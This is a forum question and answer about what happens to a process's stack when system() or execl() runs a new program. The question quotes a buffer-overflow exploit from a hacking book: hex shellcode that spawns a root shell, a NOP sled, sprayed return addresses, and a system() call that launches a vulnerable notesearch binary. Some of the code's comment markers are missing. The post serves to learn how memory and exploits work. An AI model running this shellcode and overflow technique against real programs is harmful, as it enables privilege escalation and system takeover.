System functions and stacks
I have a question about the Linux system call System() and stack.
Let’s assume we have:
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char* argv[]) {
char buff[] = "/usr/bin/ls"
system(buff);
return 0;
}
Now, since the system()
function creates a fork() followed by an execl(), my question is: is the stack of the new process close to one of the main() above, or can it be everywhere in memory?
More generally: what happened to the main() stack in this simple example?
Also, if main() is:
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char* argv[]) {
char buff[] = "/usr/bin/ls"
execl(buff, 0);
return 0;
}
In this case, since fork() is not called, the stack of the function execl() should be placed on top of main() stack on a regular basis, right?
Edit:
Why is this if the virtual address space between the main process and the process executed by system() is different:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); Zero out the new memory.
strcpy(command, "./notesearch \'"); Start command buffer.
buffer = command + strlen(command); Set buffer at the end.
if(argc > 1) // Set offset.
offset = atoi(argv[1]);
ret = (unsigned int) &i - offset; Set return address.
for(i=0; i < 160; i+=4) // Fill buffer with return address.
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); Build NOP sled.
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); Run exploit.
free(command);
}
I found it in a book about hacking. This code just exploits a buffer overflow. Its purpose is to run the vulnerable program bof with temporary parameters that can exploit bof, and run shellcode.
The address
of the shellcode injected in the new process is obtained using the address of a local variable (unisgned int i in the example) as the base address and offset. But this only works if both processes have the same virtual address space, right?
Solution
When you use exec
, all of the process’s memory is replaced. Stack, heap, everything. The original stack that contained the buff
no longer exists.
A system
call consists of a fork
and an exec
. fork
creates a new process, which is a copy of the original process. exec
then replaces the memory of the new process.
When exec
is used, a new process address space is created. This address space is assembled from various free memory blocks managed by the kernel. This is a new virtual address space. The relationship between the physical memory of the new process and the old process is determined by the kernel. But because the new address space is virtual, it is independent of the address space of the parent process. Even if you know the address of the buff
in the parent process and can pass that address to the child process, the address does not mean anything to the child process.